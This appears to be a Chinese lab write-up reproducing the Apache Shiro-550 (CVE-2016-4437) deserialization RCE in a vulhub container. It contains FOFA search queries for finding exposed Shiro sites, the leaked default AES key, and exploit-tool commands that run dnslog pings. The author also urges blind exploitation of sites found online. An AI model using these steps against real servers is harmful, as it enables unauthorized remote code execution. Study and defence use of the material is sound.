漏洞背景
CVE-2016-4437/shiro-550,shiro<1.2.4,前臺無回顯RCE。
- 框架介紹:Apache Shiro是一款開源安全框架,提供身份驗證、授權(quán)、密碼學(xué)和會話管理。
- 漏洞引入:服務(wù)端在接收cookie時,得到rememberMe的cookie值-->Base64解碼-->AES解密-->反序列化(未限制)。shiro≤1.2.4版本默認使CookieRememberMeManager,由于AES使用的key泄露,導(dǎo)致反序化的cookie可控,從而引發(fā)反序化攻擊。
漏洞特征(使用了shiro的站)
- 進行登錄,提交表單后看set-cookie是否存在remeberMe=deleteMe
- fofa搜索:
app="Apache-Shiro",header="rememberme=deleteMe"、header="shiroCookie"
發(fā)現(xiàn)使用shiro的就exp盲打吧。
本地復(fù)現(xiàn)
shiro/CVE-2016-4437
# docker-compose up -d #服務(wù)啟動后,訪問http://ip:8080可使用admin:vulhub進行登錄。
# 探測漏洞是否存在, `https://github.com/insightglacier/Shiro_exploit`
# python shiro_exploit.py -u http://192.168.2.130:8080
vulnerable:True url:http://192.168.2.130:8080 CipherKey:kPH+bIxk5D2deZiIxcaaaA==
# 還可以繼續(xù)探測gadget, 然而還是不知道用來干啥,還是一鍵腳本打吧……
# python shiro_exploit.py -u http://192.168.2.130:8080/doLogin -t 3 -p "ping -c 2 rl5a3l.dnslog.cn" -k "kPH+bIxk5D2deZiIxcaaaA=="
found gadget:
['JRMPClient']
# exp1,https://github.com/sv3nbeast/ShiroScan
python3 shiro_rce.py http://192.168.2.130:8080 "ping ovm5ah.dnslog.cn"
# exp2,大佬發(fā)的shiro_exp.zip,咱也不知道誰寫的……改改參數(shù)反正能用
python exp.py
總結(jié)
- 一個很蠢又犯了好幾次的毛病,docker起的環(huán)境如果用touch來試命令執(zhí)行,檢查的時候記得看docker而不是看本機。。。。
- 有空的話可以保持跟蹤github上的cipherkey……或者及時pull大佬的項目()。
- 現(xiàn)網(wǎng)居然還有這個漏洞,看到rememberme試試反正不吃虧……